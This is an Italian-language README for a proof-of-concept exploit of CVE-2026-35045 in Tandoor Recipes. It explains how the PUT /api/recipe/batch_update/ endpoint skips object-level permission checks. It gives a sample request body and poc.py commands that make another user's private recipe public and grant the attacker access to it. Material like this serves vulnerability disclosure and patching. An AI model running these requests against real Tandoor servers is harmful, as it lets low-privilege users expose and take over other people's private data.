
Proof-of-concept exploit per CVE-2026-35045, una vulnerabilità di autorizzazione a livello di oggetto non corretta in Tandoor Recipes, che dimostra la modifica non autorizzata delle ricette tramite l'endpoint API batch_update.
L'endpoint PUT /api/recipe/batch_update/ in Tandoor Recipes v2.6.1 consente a qualsiasi utente autenticato all'interno di uno Spazio di modificare qualsiasi ricetta in quello Spazio — incluse le ricette private di proprietà di altri utenti. Questo bypassa completamente i controlli di autorizzazione a livello di oggetto applicati su tutti gli endpoint standard per singola ricetta.
La causa principale è una lacuna comportamentale di Django REST Framework: le azioni di lista con detail=False non invocano mai has_object_permission(), ma solo has_permission(). Il queryset filtra esclusivamente per space=request.space, senza alcun controllo su created_by, private o la lista shared. Un attaccante può forzare l'esposizione di ricette private, auto-concedersi accesso persistente, revocare i permessi di altri utenti e manomettere i metadati — il tutto in una singola chiamata API dall'aspetto non autorizzato che restituisce HTTP 200 OK con corpo vuoto.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Versione Affetta | Tandoor Recipes ≤ 2.6.1 |
| Vendor | TandoorRecipes/recipes |
| ID Tecnica | Nome | Rilevanza |
|---|---|---|
| T1078 | Account Validi | L'attaccante usa credenziali legittime a bassi privilegi per bypassare l'autorizzazione |
| T1565.001 | Manipolazione dei Dati Memorizzati | Modifica di ricette private e ACL di proprietà di altri utenti |
detail=False Bypassa i Controlli di Permesso a Livello di OggettoFile: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Nessun controllo su created_by o private
)
In Django REST Framework, le azioni registrate con detail=False sono azioni di lista. Non chiamano mai get_object(), il che significa che check_object_permissions() e CustomRecipePermission.has_object_permission() non vengono mai invocate. Viene eseguita solo has_permission() — che verifica l'appartenenza allo Spazio, non la proprietà della ricetta.
PUT /api/recipe/{id}/ segue il flusso completo dei permessi DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ nega l'accesso se la ricetta è privata e non di proprietà/condivisa con il richiedente
L'endpoint batch_update salta silenziosamente l'intera catena.
RecipeBatchUpdateSerializer espone i seguenti campi — scrivibili su qualsiasi ricetta nello Spazio:
| Campo | Effetto |
|---|---|
private | Attiva/disattiva la visibilità della ricetta |
shared_add / shared_remove / shared_set | Manipola la lista di controllo degli accessi |
keywords_add / keywords_remove / keywords_set | Altera i metadati della ricetta |
working_time / waiting_time | Modifica i dati temporali della ricetta |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attaccante│ ─────────────────────────────────────→│ Server Tandoor │
│ (Utente B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Membro Spazio)│
│ │
│ has_object_ │
│ permission() │
│ ✗ MAI CHIAMATA │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Nessun controllo di proprietà
│
▼
┌────────────────┐
│ Ricetta ID 2 │
│ (di proprietà di A)│
│ private=false ← modificata
│ shared=[2] ← auto-concessa
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attaccante (B) │
│ ora ha accesso │
│ completo alla │
│ Ricetta ID 2 │
└────────────────┘
requestspip install requests
# Forza l'esposizione di una ricetta privata e auto-concedi l'accesso (predefinito)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Solo esposizione forzata (imposta private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Solo auto-concessione (aggiungi alla lista shared, mantieni private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant